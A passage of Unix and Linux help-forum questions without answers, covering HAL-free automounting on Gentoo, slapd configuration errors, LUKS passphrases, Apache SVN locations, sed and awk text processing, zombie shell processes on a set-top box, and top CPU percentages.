text: community! I have Gentoo(amd64) installed with KDE-3.5.10 desktop from kde- sunset overlay. Recently I have upgraded xorg-server from 1.7 to 1.9 and now want to extinguish hal completly. The only reason that stops me is the device detection. I don't know how to get automounting working in KDE-3.5.10 without HAL. Oh, and K3B too. Installed version is 1.0.5. The only packages which uses "hal" USE flag are:               # equery h hal     [ Searching for USE flag hal in all categories among: ]      * installed packages     [I--] [  ] kde-base/kdebase-kioslaves-3.5.10-r1 (3.5)     [I--] [  ] app-cdr/k3b-1.0.5-r6 (3.5)      and they certainly can be compiled without "hal" flag. But then automounting stops working and when I insert USB flash drive there is no pop-up window. Of course I can still mount it manually, but it feels uncomfortable. Didn't check if K3B can find recording device when compiled without "hal" USE flag, though. But suspect there could be difficulties too.


title: Failed to start slapd in CentOS

text: I was trying to setup an LDAP server for my development. For this purpose, I have chose CentOS 6.3 install it in VirtualBox host in Fedora 17. I'm following this tutorial to guide me on this setup, anyhow when I start the service using this command `service slapd start`, I got this error:               Checking configuration files for slapd:   [FAILED]     /etc/openldap/slapd.conf: line 9: bad config line.     slaptest: bad configuration file!      I'm sure I have this file `/etc/openldap/slapd.conf` to the owner of ldap. May I know any idea to rectified this problem? **UPDATE** I have extract the first few lines of text from `slapd.conf`, looking at `line 9`, that is an empty line.               #     # See slapd.conf(5) for details on configuration options.     # This file should NOT be world readable.     #     include     /etc/openldap/schema/core.schema     include     /etc/openldap/schema/cosine.schema     include     /etc/openldap/schema/inetorgperson.schema     include     /etc/openldap/schema/nis.schema          # Added for policy     include /etc/openldap/schema/ppolicy.schema          # Allow LDAPv2 client connections.  This is NOT the default.     allow bind_v2          # Do not enable referrals until AFTER you have a working directory     # service AND an understanding of referrals.     #referral   ldap://root.openldap.org          pidfile     /var/run/openldap/slapd.pid     argsfile    /var/run/openldap/slapd.args


title: stty: : Invalid argument

text: I am telnet-ing into a Solaris machine and I'm getting the above error with my scripts. I realize this is a common problem, and the solution is to check for the line 'stty erase ^H' within my profile, but I can't find it. .profile doesn't have any references to stty, and I don't have a .cshrc anywhere. I performed a grep in my home directory, but I came up with nothing. Is there another source of this problem? All the solutions online refer to either .profile or .cshrc. Thanks.


title: How to take incremental backup in tape drive

text: I am having 1 tape drive and I want to take incremental backup of 5 folder to the tape drive on every Friday. But the location of the five folders are on one server and the LTO mounted on a different machine. How can I make the backups.


title: Are certain parts of startup scripts necessary or just good practice?

text: I'm currently exploring creating a startup script in the form of a system process located in the /etc/init.d/ on my Fedora 14 Linux installation. It sounds like the following two lines are bare minimum requirements?               #!/bin/bash     # chkconfig: 345 85 15 (however on this one I've seen different combos)      What's the purpose of these lines? Is there a good resource that would help me understand how to better create these and other header lines for such a file?


title: mkdir -p for files

text: `mkdir -p` will create a directory; it will also make parent directories as needed. Does a similar command exist for files, that will create a file and parent directories as needed?


title: Need to get the latest file with date timestamp for each month

text: I am just starting with Unix programming and I have a requirement. I have four files which are placed in my landing zone and I need the scheduler to pick up the latest file of that month and year. For example:               FILE_NR_WEEKLY_01_20130528_CHARGE          FILE_NR_WEEKLY_01_20130530_CHARGE--> This needs to be picked 1st for may month          FILE_NR_WEEKLY_01_20130601_CHARGE          FILE_NR_WEEKLY_01_20130604_CHARGE -->This needs to be picked up for June month In the above case for that year, month and date combination, I need to get the latest file.


title: Can swap be encrypted per user?

text: The problem arises for a multiuser computer with encrypted swap, as to how to allow each user to hibernate and resume from hibernation without compromising the security of the other users. I'm looking for a way in which each user's swap usage is encrypted specifically for them, such that when they want to resume from hibernation they can do so by entering only _their_ password/passphrase. They should not be able to decrypt other users' swap; all users' processes must be stopped until the respective user can provide their passphrase to decrypt their swap and continue their processes. Users may wish for some or all of their processes to be unencrypted so that they can continue regardless of who resumes the computer. As long as no personal data is stored in system processes and the system doesn't let users' keys hit swap, then the system's swap doesn't need to be encrypted, and that means that any user can resume the system without compromising other users. Note that this could be complemented by encrypting the system with a key stored in BIOS firmware such as Coreboot or LibreBoot to make tampering very difficult, but this is a fundamentally different approach based on the apparent difficulty of tampering with the hardware involved rather than a complete cryptographic approach to preventing people from reading personal data of others assuming tampering is not an issue. For optimal security, these two mechanisms could be used together, but in this question, I'm asking for the fully cryptographic approach. In theory it makes sense, but in practice it may not be implemented. I hope that this is possible in Linux.


title: Can I install a distro to one partition while using a distro installed on another?

text: I currently have two partitions with Linux distros installed on them. I am currently using one with Mint 14, and you could call the other deprecated. I just found out about the release of Mint 15, and I want to install it over the deprecated distro so I can try it out. Since I don't want to go through the trouble of writing it to a disk and installing it normally, I was wondering if there was a way I could install it by using tools in my running distro while I do something else. EDIT: the reason I don't want to try it live is because that won't give me a good impression of what it will be like to use it on a regular basis. Running it from a CD is orders of magnitude slower, doesn't allow full configuration, and gets wiped when you're done. I would rather avoid installing normally because it's tedious and it locks up my entire computer while it's happening. I realize that I might have to, but that's why I'm asking this: to find out. As for clarifying my question, I don't know how much more explicit I can get without actually knowing the answer. I want to download the disc image, then start a process in my current system that will transfer the files to a different partition so that the result is similar to running the installer. Like (taking this from Wikipedia) Wubi + LVPM, but with Mint.


title: /proc/pid/maps addresses (and converting them)

text: When looking at the memory maps in /proc/pid/maps, we can see different length addresses               00400000-0042e000 r-xp 00000000 fb:01 268953                             /bin/nano     0062e000-0062f000 r--p 0002e000 fb:01 268953                             /bin/nano     0062f000-00630000 rw-p 0002f000 fb:01 268953                             /bin/nano     0081e000-00906000 rw-p 00000000 00:00 0                                  [heap]     7f8313e5c000-7f8314109000 rw-p 00000000 fb:01 2399989                    /usr/share/misc/magic.mgc     7f8314109000-7f83142ce000 r--p 00000000 fb:01 2759354                    /usr/lib64/locale/locale-archive     7f83142ce000-7f83142d1000 r-xp 00000000 fb:01 1457046                    /lib64/libdl-2.17.so     7f83142d1000-7f83144d0000 ---p 00003000 fb:01 1457046                    /lib64/libdl-2.17.so      We have addresses with 8 digits length like:   * 00400000-0042e000 And ones with 12 digits length (last 3 digits are always 0):   * 7f8313e5c000-7f8314109000 My question is, why are those addresses formated this way, and can i convert them to 8 digits length?


title: How to search XTerm console history?

text: Is there some way to search XTerm's console history interactively, like `Ctrl`+`Shift`+`f` in GNOME Terminal and Terminator? I could run `script` in my `.bashrc` or possibly even patch XTerm, but it would be nice to know if there is already some shortcut or configuration setting to do this _without_ heavily modifying my runtime environment. A way to save the entire scrollback buffer in a single operation (that is, without copying every page of it with a mouse) would be an OK fallback.


title: Apache, svn at the root of domain with one exception

text: I want to setup SVN in such a way that svn.domain.com/ directly lists SVN repositories. To be able to make the web view nicer I am using an SVNIndexXSLT. But I have to serve this file somehow to the end-user. So I want to setup a location (`/repos-web` for example) that will serve files, instead of svn. I currently have the following configuration:               <VirtualHost *:80>             ServerName svn.domain.com             DocumentRoot /home/user/svn/svnweb             ErrorLog ${APACHE_LOG_DIR}/error.log             <Location />                     AuthType Basic                     AuthName "Authentication required"                     AuthUserFile "myauthfile"                     Require valid-user                     order allow,deny                     allow from all                          DAV svn                     SVNParentPath /home/user/svn/repositories                     SVNListParentPath on                     SVNIndexXSLT "/repos-web/view/repos.xsl"             </Location>             <Location /repos-web>                     DAV off             </Location>     </VirtualHost>      But http://svn.domain.com/repos-web simply returns: > Could not open the requested SVN filesystem I tried changing the `<Location />` in `<LocationMatch "^/(?!repos-web)">` but this did not help at all. Of course one solution would be to serve the xslt file over another domain/subdomain, but this is more a workaround than solution.


title: LUKS - changing passphrase with /dev/mapper/fedora-root

text: I would like to change my passphrase in LUKS, so I started with typing `mount | grep 'on / '`. The result was `/dev/mapper/fedora-root on / type ext4 (rw,relatime,seclabel,data=ordered)`. So next as usual I typed `sudo cryptsetup status fedora-root` to get info about partition. But unfortunately I got no result and operation returned 1. `sudo cryptsetup --verbose status fedora-root` says `Command failed with code 22: Invalid argument`. Why the behaviour is so strange? What is the way to change LUKS password in that case?


title: Virtualbox user home directory

text: I have a tiny problem. I want to avoid VirtualBox from creating `/home/$USER/.VirtualBox` directory and create another directory like `/home/$USER/DIR` instead to put the log files etc there. I tried to export `$VBOX_USER_HOME` variable in my `.bashrc` so it is set in my shell and also used the `vboxmanage setproperty machinefolder /home/amin/DIR` command but VirtualBox still creates `.VirtualBox` directory under `/home/$USER`. Is there any other way to achive this or am I doing something wrong here?


title: Sniffing packets through router

text: I would like to create a system like this. ![enter image description here](http://gyazo.com/45210b1932d7140cdc160b3a672173c6.png) The user would connect through a wifi network which would reroute all http requests and responses through the network card on a computer thus allowing that computer to sniff the packets. I have debian running on the computer. How would i go about doing this?


title: Why are 64-bit distros often called 'amd64'?

text: I am downloading an ISO image of Lubuntu; they have two versions: 32 and 64. But why do they call the 64 version **amd64** since they say that it works for Intel also?


title: changing the partition of a linux

text: I have a ubuntu system as a virtual system on Virtual Box. It uses VHD as its hard disk. I manged to change the size of VHD using VHD resizer, now I want to expand the partition on vhd so it uses the expanded size. How can I do this?


title: Manipulating a file with sed

text: I have a file called `students.txt` and it contains the following data in the format `Surname, Forename: day.month.year: Degree`:               Smith, John: 15.01.1986: MSc IT      Taylor, Susan: 04.05.1987: MSc IT      Thomas, Steve: 19.04.1986: MSc MIT      Sennick, Joseph: 01.12.1987: MSc IT       I'm trying to return all lines in the format `Forename,Surname: day.month.year`, but without the `MSc` degree being studied. So far I have:               sed -e 's/\(.*\),(.*\)/\2/\1/' students.txt      What's wrong with that?


title: How to upgrade Fedora Core 3?

text: I want to upgrade from fedora core 3 to latest release without using a cd. I have internet connection. Is it possible to use `yum` to upgrade the OS entirely to the latest version? At present there are no `.repo` files in my `/etc/yum.repos.d/` directory. So I could not use the `yum` command. How to get the necessary repository and to upgrade the OS?


title: How do I know if my SSD is SLC or MLC?

text: I have 3 SSDs on my server. How can I tell if they are SLC or MLC?


title: Bandwidth, CPU & Memory stats returned in single line from terminal

text: I'm trying to create a simple monitoring system that will show a graph of sales that is linked entirely to data of bandwidth, CPU and Memory stats as they relate to sales. So if I sale 1 widget per 5 seconds, that will be contingent upon my bandwidth etc being above a certain threshold. So I've formulated a way to do the graph but I'm just having a time getting the stats. I can use any of a number of monitoring systems but I just need 1 line for bandwidth, CPU Usage, and Memory Usage once per second. I made a python script that gets all the IP information from all interfaces. But for if I had a script I could run from terminal that simply output a single line I could just pipe that to a file and then access the file to run my real time graph. So for network I can use:               $ ifconfig      I pipe it into a json file for easy reference. I can use:               $ free -m      for memory which I suppose I can pipe into a file as well Then I could use:               $ cat /proc/loadavg      for CPU and again pipe that. Is there an easier way to do this? So that I receive a single line for each command and can easily (more importantly quickly) send that information via Javascript or HTML5 FileReader to the graphing solution?


title: How should I partition my hard drive?

text: * Xubuntu 12.10   * XFCE with Greybird theme Hello, this is my GParted screenshot: ![enter image description here](http://i.stack.imgur.com/6RquT.png) Could anyone please give my any advice on how to make changes to have more space available for use in Linux? Let's say I manage to take 10 GB out of the `/dev/sda3` partition which is currently formatted in ntfs, how would I proceed then?


title: Cannot load font true and no console access in Fedora

text: When I boot Fedora 17 this error appears:               Cannot open font file True      I found this question Cannot open font file True, but the person who faced the problem in that question can access the console. In my case I can't access anything! Can I use external live system like live Ubuntu to fix this problem? If "yes" what should I do exactly?


title: set VM IP address to be the same every time from DHCP on CentOS 5.6

text: I have an issue where, each time I start my CentOS 5.6 VM, DHCP (I believe) is allocating my VM a different IP. I have the VM mapped as a Samba share in Windows 7 and this changes between 192.168.0.8, 192.168.0.9 and 192.168.0.10 each time meaning I have to mount a new drive in Windows each time. This is also frustrating as I have to update my hosts file to point to a different IP each time and any projects I have pointing to the Samba share in my IDE are also gone. Is there a way that I can set the IP to be the same each time in the Devernet Configuration under the `setup` tool in CentOS?               [root@dev ~]# ip a     1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue         link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00         inet 127.0.0.1/8 scope host lo     2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000         link/ether 08:00:27:f2:9f:d6 brd ff:ff:ff:ff:ff:ff         inet 192.168.0.8/24 brd 192.168.0.255 scope global eth0      Here is a screenshot of the Devernet Configuration under the `setup` utility in CentOS. I had Use DHCP _on_ , but I have turned it off in this screenshot. ![enter image description here](http://i.stack.imgur.com/TeOQ0.gif)


title: Is it possible to store ssh connection in bash script instead of $(ssh user@ip command) every time?

text: I think that the code that I already have is not very efficient as it has to connect each time to the same machine and execute a command. Code:               tmp=$(ssh -nq $USER@$IP "$COMMAND" 2>> $LOG)     tmp1=$(ssh -nq $USER@$IP "$COMMAND1" 2>> $LOG)     tmp2=$(ssh -nq $USER@$IP "$COMMAND2" 2>> $LOG)     tmp3=$(ssh -nq $USER@$IP "$COMMAND3" 2>> $LOG)      Where `$COMMAND` in most of the cases is some kind of `grep`. Can I somehow store the ssh connection or refactor the code so it won't connect each time to the machine ?


title: Route VPN gateway traffic via tun0 instead of normal gateway

text: On my Linux box, I have a tun0 interface by IPIP tunnel like:               tun0      Link encap:IPIP Tunnel  HWaddr                  inet addr:10.10.10.2  P-t-P:10.10.10.1  Mask:255.255.255.255      and I running an IPsec VPN server (ipsec-tools) on this box. How can I route all VPN traffic through the tun0 interface on the server (like Openswan's leftnexthop )?


title: How to properly start and stop shell script in linux, busybox?

text: I am trying to write a small shell script that would send some commands to my tv set from my set top box that has busybox on it. The problem is that it generates huge amount of zombie processes, and when I try to killall, I kill also some audio processes, that should not be killed... Here are my scripts: tvstart.sh                #!/bin/sh      echo "ka 1 01" > /dev/ttyUSB0      read -t 5 response < /dev/ttyUSB0      echo "xb 1 70" > /dev/ttyUSB0      read -t 2 response < /dev/ttyUSB0      echo "kf 1 32" > /dev/ttyUSB0      read -t 2 response < /dev/ttyUSB0      echo "km 1 01" > /dev/ttyUSB0      #killall sh      tvstop.sh                #!/bin/sh      echo "ka 1 00" > /dev/ttyUSB0      #killall sh      And I call them like this(part of the script):               case "$1" in       led-on)         echo 3 > /sys/class/leds/mag-front-led/mode         nohup sh /home/default/tvstop.sh &       ;;       led-off)         echo 2 > /sys/class/leds/mag-front-led/mode         nohup sh /home/default/tvstart.sh &       ;;      So, how do I terminate them properly? this is how zombies looks like:                3637 root            Z   [sh]      3660 root            Z   [sh]      3696 root            Z   [sh]      3719 root            Z   [sh]      3751 root            Z   [sh]      3766 root            Z   [sh]      3798 root            Z   [sh]      3829 root            Z   [sh]      3913 root            Z   [sh]      3984 root            Z   [sh]      4489 root       6960 S   sshd: root@pts/0      4533 root       2704 S   -sh     10478 root            Z   [sh]     10516 root            Z   [sh]     10574 root            Z   [sh]     10597 root            Z   [sh]     10630 root            Z   [sh]     10737 root            Z   [sh]     11072 root            Z   [sh]     11103 root            Z   [sh]     11413 root            Z   [sh]     11436 root            Z   [sh]     11457 root            DW  [STVID.InjecterT]     11458 root            SW  [STVID[0].MPEG2P]     11459 root            DW  [tfm_89287480]     11460 root            SW  [STVID[0].Produc]     11461 root            SW  [STVID[0].Displa]     11462 root            SW  [STVID[0].ErrorR]     11477 root            Z   [sh]     11500 root            Z   [sh]     11525 root            Z   [sh]     11548 root            Z   [sh]     11581 root            Z   [sh]     11605 root            Z   [sh]     11638 root            Z   [sh]     11661 root            Z   [sh]     11688 root            Z   [sh]     19185 root       2704 R   ps


title: "Couldn't resolve host" when downloading Fedora 16 packages

text: I'm using `yum` to install `make`, I am getting the following error. I tried all solutions from similar questions but the issue remains.               http://download.fedoraproject.org/pub/fedora/linux/releases/16/Everything/i386/os/repodata/repomd.xml: [Errno 14] curl#6 - "Couldn't resolve host"     Trying other mirror


title: How do I send email from a terminal?

text: I have been trying to use the unix `mail` command to send emails, but haven't been having much success. I wasn't getting any errors though so I checked my `var/mail` file and found a lot of these messages: > Mailing to remote domains not supported That makes sense, because I haven't given it an SMTP server, but how do I do this? I read through the `man mail` page and didn't see anything that would help, and googling took me to this page which left me feeling confused and rather unintelligent. Is there a guide for setting up smtp settings which is not too much harder than it should be?


title: Can I prevent "Disable touchpad while typing" from affecting mouse movements?

text: When I click my name in the upper right, then click "System Settings", then "Mouse and Touchpad", and then "Disable touchpad while typing" it affects my mouse movements. I have to wait two seconds before I can move the pointer with the touchpad. I like the "Disable touchpad while typing" feature in general, as it prevents me from accidentally raising another window instead of the one I'm typing into, but can I have the feature only affect taps of the touchpad and not my attempts to move the mouse around? I'm using GNOME 3.2.1 on Fedora 16


title: Prevent a unix account from being able to SSH

text: > **Possible Duplicate:**   >  Disable direct login for normal users (like oracle) in linux but allow scp > and sftp? I want to prevent a unix account from being able to be SSH'ed with, but it should still be usable for SCP / SFTP. Is that possible? The rational is that a unix server uses a generic account for the application and people have been logging on to the box while using that generic account rather than their personal accounts. We want them to SSH to the box using their personal account for audit reasons.


title: Refresh/reload active browser tab from command line?

text: I'm trying to set up a custom toolchain where the browser (Firefox or, preferrably, Chrome) is often/frequently/constantly forced to refresh from the commandline. (The idea is to instantly see the visual changes in the html/webapp I'm editing in an adjacent Emacs frame - without having to constantly tab to the browser to do a manual refresh.) The closest I've come so far is to run `google-chrome FILE_PATH`. However this opens a new tab every time. Are there other approaches?


title: Is chmod behavior wrong for symlinks?

text: Recently we had a problem on a Red Hat Linux box with many users: the `/usr/bin/sudo` binary has lost its sticky bit. Work was blocked until root user fix it (we need `sudo` for deploying and testing). The reason of this breakdown was... symlink `$HOME/bin/s` pointing to `/usr/bin/sudo`. I thought that having one more bash alias is not good and symlink is a simpler solution that will work with any shell, so I have created symlink `$HOME/bin/s` pointing to `/usr/bin/sudo`. Then a guy copied my `$HOME/bin` to his `$HOME` and "just in case" called `sudo chmod 755 $HOME/bin/*`. As result `/usr/bin/sudo` have got 0755 permissions instead of needed 4111. Now it's fixed, root has logged in and restored permissions for sudo. `man chmod` (Red Hat, Ubuntu):                 chmod never changes the permissions of symbolic links; the chmod system       call  cannot change their permissions.  This is not a problem since the       permissions of symbolic links are never used.  However, for  each  sym-       bolic link listed on the command line, chmod changes the permissions of       the pointed-to file.      My question is: was it my fault because I should never create symlinks pointing to binaries OR is `chmod` behavior wrong and it shouldn't change permissions of files pointed by symlinks? Why is this the behavior of `chmod`? Does it make any sense?


title: What is "blocking" in reference to file I/O?

text: My textbook mentions it but doesn't specifically define it. From the context it's used in (in this example, pipes), I take it to mean that if one end of the pipe _blocks_ , it's temporarily "disabled", if you will, and data is queued? That's the part I'm a bit confused about. When it "blocks", does (whatever it is) wait until it's unblocked and then continue with whatever was sent while it was blocked? This seems to be what they're hinting at because they say when it's "non-blocking" it immediately returns an error (if I remember correctly). Any clarification or nudges in the right direction appreciated. Thanks! (Not sure which tags to use)


title: VirtualBox Hangs when installing freebsd 9.0

text: When installing Freebsd 9.0 as virtualbox guest, it hangs. Freezes the guest OS, other VirtualBox windows works fine. Logs attached, hardware is pentium D, 4 GB ram, Asus p5ld2 deluxe mainboard, OS - Ubuntu linux. When I select minimum configuration as possible, freebsd was installed in this minimal configuration. Then I tried to install KDE from ftp, and after downloading some packages, it hangs again on downloading ghostscript. How fix this? I asked this on virtualbox forum too


title: Sorting file by second column

text: How can I manipulate a two columns tab-separated text file by sorting by the first element of the second column (only if the first column element is the same)? Exemple: Input File 1               A   1-2     A   6-8     A   3-4     B   7-10     B   5-9      Expected output: File 2               A   1-2     A   3-4     A   6-8     B   5-9     B   7-10


title: Arch Linux OpenVPN DNS-Problem

text: I can´t successfully connect with OpenVPN or maybe I´ll connect successfully and something is wrong with my network-settings... this is the Output of OpenVPN while connecting:               Thu Feb 13 23:21:13 2014 OpenVPN 2.3.2 x86_64-unknown-linux-gnu [SSL     (OpenSSL)] [LZO] [EPOLL] [eurephia] [MH] [IPv6] built on Nov 13 2013     Thu Feb 13 23:21:13 2014 WARNING: file     '/home/mak/openvpn-config/mkirchweger.p12' is group or others     accessible Thu Feb 13 23:21:13 2014 Attempting to establish TCP     connection with [AF_INET]83.164.xxx.xx:xxxx [nonblock] Thu Feb 13     23:21:14 2014 TCP connection established with     [AF_INET]83.164.xxx.xx:xxxx Thu Feb 13 23:21:14 2014 TCPv4_CLIENT link     local: [undef] Thu Feb 13 23:21:14 2014 TCPv4_CLIENT link remote:     [AF_INET]83.164.xxx.xx:xxxx Thu Feb 13 23:21:14 2014     [bricks.softpoint.at] Peer Connection Initiated with     [AF_INET]83.164.xxx.xx:xxxx Thu Feb 13 23:21:17 2014 TUN/TAP device     tun0 opened Thu Feb 13 23:21:17 2014 do_ifconfig, tt->ipv6=0,     tt->did_ifconfig_ipv6_setup=0 Thu Feb 13 23:21:17 2014 /usr/bin/ip     link set dev tun0 up mtu 1500 Thu Feb 13 23:21:17 2014 /usr/bin/ip     addr add dev tun0 local 10.10.x.xx peer 10.10.x.xx Thu Feb 13 23:21:19     2014 Initialization Sequence Completed **UPDATE:** I´m pretty sure it as an DNS-Issue, ping via IP works but Hostnames can´t be resolved...


title: Can vmlinux be used instead of uImage?

text: I want to use an uncompressed kernel image and boot the BeagleBoard. Generally I use uImage to boot the kernel which is in compressed format. How do I use an uncompressed kernel image?


title: Is there a shutdown/restart command for x11VNC? - Linux (Debian)

text: I am running Linux (Debian). I recently installed the x11VNC server on my computer. I found the command to start the server is:               x11vnc -display :0      I have been searching but did not find any information on how to restart and shutdown the x11VNC server. Is there a command(s) to do this?


title: Can you perform system calls from OSX Terminal?

text: So I get system calls in the context of a C program, but my textbook doesn't really address making system calls in Terminal (on Mac OSX). Can you do these on the command line like with "commands", or is it a totally different concept? Sorry, I'm sure this is very elementary, just can't find an answer.


title: FileZilla will not start on Slackware

text: I think it was because I tried to install. Slackware txz 13 and mine is 14.1 64 bit, but I do not know where baicho package for Slack 14.1 can someone help me?


title: Allowing user access to mailman python files from root?

text: I just got my first managed VPS, and am taking a crash course in administering users. I normally do most things on my local computer as root. It is running centos-5-x86_64. What I'm trying to do is give one of my user accounts access to command line for cPanel-based mailman install. Namely I want to give him access to all the python scripts in /usr/local/cpanel/3rdparty/mailman/ How would I go about doing this? ACL? Or just add them to the mailman group? I'm completely unsure about what to do for this.


title: Unkillable apache2 processes

text: After upgrading from debian lenny to squeeze (apache2 2.2.16-6+squeeze4 and php 5.3.10-1~dotdeb.1), my apache processes started to exit with segmentation fault. It happens every 5-30 minutes (for 1 process), so it does not do any impact right now. Problem is that sometimes instead of exiting with `SIGSEGV`, they just go crazy and loop with 100% system cpu usage in `SIGBUS` error:               # strace -p27635     Process 27635 attached - interrupt to quit     --- SIGBUS (Bus error) @ 0 (0) ---     --- SIGBUS (Bus error) @ 0 (0) ---     --- SIGBUS (Bus error) @ 0 (0) ---     --- SIGBUS (Bus error) @ 0 (0) ---     --- SIGBUS (Bus error) @ 0 (0) ---     --- SIGBUS (Bus error) @ 0 (0) ---      They don't respond to `kill -9`. But when I run strace on the process after killing it, it just repeats the `SIGBUS` twice and then exits.               # strace -p27635     Process 27635 attached - interrupt to quit     --- SIGBUS (Bus error) @ 0 (0) ---     --- SIGBUS (Bus error) @ 0 (0) ---     +++ killed by SIGKILL +++      Why is the process unkillable without strace? How does running strace influence the process that it can exit? (I know that there is probably something wrong with my setup of apache/php modules, but in this question I'm interested in the strange behaviour of the unkillable processes. I will ask another question if I am unable to fix apache/php.)


title: javac takes over 200% CPU on RHEL6?

text: > **Possible Duplicate:**   >  top output: cpu usage > 100% I don't think I understand what `top` is telling me. I have a `javac` process that says that it's taking over 200% of CPU. That's in the process line. But at the top, I see:               Cpu(s):  5.2%us, 19.3%sy,  0.0%ni, 74.0%id,  0.1%wa,  0.0%hi,  1.5%si,  0.0%st      which is acceptable. What is that CPU % that's being reported to me in the process lines. It always freaks me out when I see it, then I look at the top and I feel a little bit better.


title: Understanding %CPU while running top command

text: I am trying to understand what does `%CPU` means when I run `top`. I am seeing `%CPU` for my application as `400` or `500` most of the times. Does anyone knows what does this mean? What number is a high number? > 19080 david 20 0 27.9g 24g 12m S 400 19.7 382:31.81 paper_client `lscpu` gives me below output:               Architecture:          x86_64     CPU op-mode(s):        32-bit, 64-bit     Byte Order:            Little Endian     CPU(s):                32     On-line CPU(s) list:   0-31     Thread(s) per core:    2     Core(s) per socket:    8     Socket(s):             2     NUMA node(s):          2     Vendor ID:             GenuineIntel     CPU family:            6     Model:                 45     Stepping:              7     CPU MHz:               2599.928     BogoMIPS:              5199.94     Virtualization:        VT-x     L1d cache:             32K     L1i cache:             32K     L2 cache:              256K     L3 cache:              20480K     NUMA node0 CPU(s):     0,2,4,6,8,10,12,14,16,18,20,22,24,26,28,30     NUMA node1 CPU(s):     1,3,5,7,9,11,13,15,17,19,21,23,25,27,29,31


title: Change default applications used by gnome-open, exo-open, xdg-open, gvfs-open and kde-open

text: How to change the applications associated with certain file-types for `gnome- open`, `exo-open`, `xdg-open`, `gvfs-open` and `kde-open`?   1. Is there a way by editing config files or by a command-line command?   2. Is there a way to do this using a GUI? For both questions: How to do it per user basis, how to do it system-wide?


title: How to fix bash or auto run /bin/bash on SSH login

text: When logging in as `root` at my server everything works fine, but when I log in as `myusername` the bash is not working correctly. The line starts with:               $       instead of               myusername@myserver:~$      and all specials keys like the arrow keys, tab keys, etc. won't work. When I type `bin/bash` it works again, but I'd like to fix the problem or auto run `bin/bash` on login. How can I fix this?


title: Flash drive not working on a particular RHEL machine

text: I have a 32 Gib flash drive. The first time I copied files to it, it failed with a write error and the drive was no longer recognized by the server. I ran a scan on it using Windows chkdsk, which fixed an error, but the server is still not recognizing it even though it works with Windows and other servers (and `fsck` on another server shows no problems). When plugged in, `fdisk -l` does not show it, /proc/scsi/scsi does show it, but also shows the other device entries from when I have tried the flash drive in different USB sockets:               Host: scsi5 Channel: 00 Id: 00 Lun: 00       Vendor: SanDisk  Model: Ultra Backup     Rev: 1.20       Type:   Direct-Access                    ANSI SCSI revision: 02     Host: scsi6 Channel: 00 Id: 00 Lun: 00       Vendor: SanDisk  Model: Ultra Backup     Rev: 1.20       Type:   Direct-Access                    ANSI SCSI revision: 02     Host: scsi8 Channel: 00 Id: 00 Lun: 00       Vendor: SanDisk  Model: Ultra Backup     Rev: 1.20       Type:   Direct-Access                    ANSI SCSI revision: 02      Every time I connect the drive, `dmesg` seems also to be running through a list of devices that are not currently connected:               sdd : READ CAPACITY failed.     sdd : status = 1, message = 00, host = 0, driver = 08     Info fld=0xa00 (nonstd), Current sd00:00: sense key Not Ready     sdd : block size assumed to be 512 bytes, disk size 1GB.     sdd: test WP failed, assume Write Enabled      sdd: I/O error: dev 08:30, sector 0      I/O error: dev 08:30, sector 0      unable to read partition table      I/O error: dev 08:30, sector 0     sdf : READ CAPACITY failed.     sdf : status = 1, message = 00, host = 0, driver = 08     Info fld=0xa00 (nonstd), Current sd00:00: sense key Not Ready     sdf : block size assumed to be 512 bytes, disk size 1GB.     sdf: test WP failed, assume Write Enabled      sdf: I/O error: dev 08:50, sector 0      I/O error: dev 08:50, sector 0      unable to read partition table      Can anyone suggest a way to fix the drive? As I said, it works with other Red Hat servers. I am also worried that `/proc/scsi/scsi` is showing devices that are not connected -- why would that be?


title: Print odd-numbered lines, print even-numbered lines

text: I want to print the odd-numbered and even-numbered lines from files. I found this shell script which makes use of echo.               #!/bin/bash     # Write a shell script that, given a file name as the argument will write     # the even numbered line to a file with name evenfile and odd numbered lines     # in a text file called oddfile.     # -------------------------------------------------------------------------     # Copyright (c) 2001 nixCraft project <http://cyberciti.biz/fb/>     # This script is licensed under GNU GPL version 2.0 or above     # -------------------------------------------------------------------------     # This script is part of nixCraft shell script collection (NSSC)     # Visit http://bash.cyberciti.biz/ for more information.     # -------------------------------------------------------------------------          file=$1     counter=0          eout="evenfile.$$" # even file name     oout="oddfile.$$" # odd file name          if [ $# -eq 0 ]     then         echo "$(basename $0) file"         exit 1     fi          if [ ! -f $file ]     then         echo "$file not a file"         exit 2     fi          while read line     do         # find out odd or even line number         isEvenNo=$( expr $counter % 2 )              if [ $isEvenNo -ne 0 ]         then             # even match             echo $line >> $eout         else             # odd match             echo $line >> $oout         fi         # increase counter by 1         (( counter ++ ))     done < $file     echo "Even file - $eout"     echo "Odd file - $oout"      But isn't there a way to do it in one line? _Yes, use awk,_ I read. Even-numbered lines:               awk 'NR % 2' filename      odd-numbered lines:               awk 'NR % 2 == 1' filename      But it doesn't work for me. Both produce the same output, according to diff. When compared to the original file, they are both indeed half as long, and they both contain the odd-numbered lines. Am I doing something wrong?


title: autocomplete filenames using compgen

text: As part of a larger autocomplete function I'm writing, I want to use compgen to generate a list of files. I read the bash manual entries for `compgen` and `complete`, and from there I assumed that the option `-G "*"` would be the solution. I could not get it to work, though: The list of files in the current directory was shown, regardless of my input, i.e.:               $ cmd <Tab>     aa bb cc     $ cmd a<Tab>     aa bb cc     $ cmd aa<Tab>     aa bb cc      Therefore, I tried to debug this by using `complete`, which supports the same options as compgen, but I got the same result:               $ complete -G "*" cmd     $ cmd a<Tab>     aa bb cc      I also tried `complete -o filenames`, but this doesn't work either..


title: Prepending a timestamp to each line of output from a command

text: I wish to prepend a timestamp to each line of output from a command. For example:               foo     bar     baz      would become               [2011-12-13 12:20:38] foo     [2011-12-13 12:21:32] bar     [2011-12-13 12:22:20] baz      ...where the time being prefixed is the time at which the line was printed. How can I achieve this?


title: Unlock Gnome shell takes a long time

text: I lock my GNOME Shell 3.6.3.1 by `Ctrl`+`Alt`+`L` as usual but when I try to unlock it takes up to a minute before I get my desktop back. While waiting I get a black background and a mouse pointer. Any ideas what takes so long?


title: X commands do not start from my at job

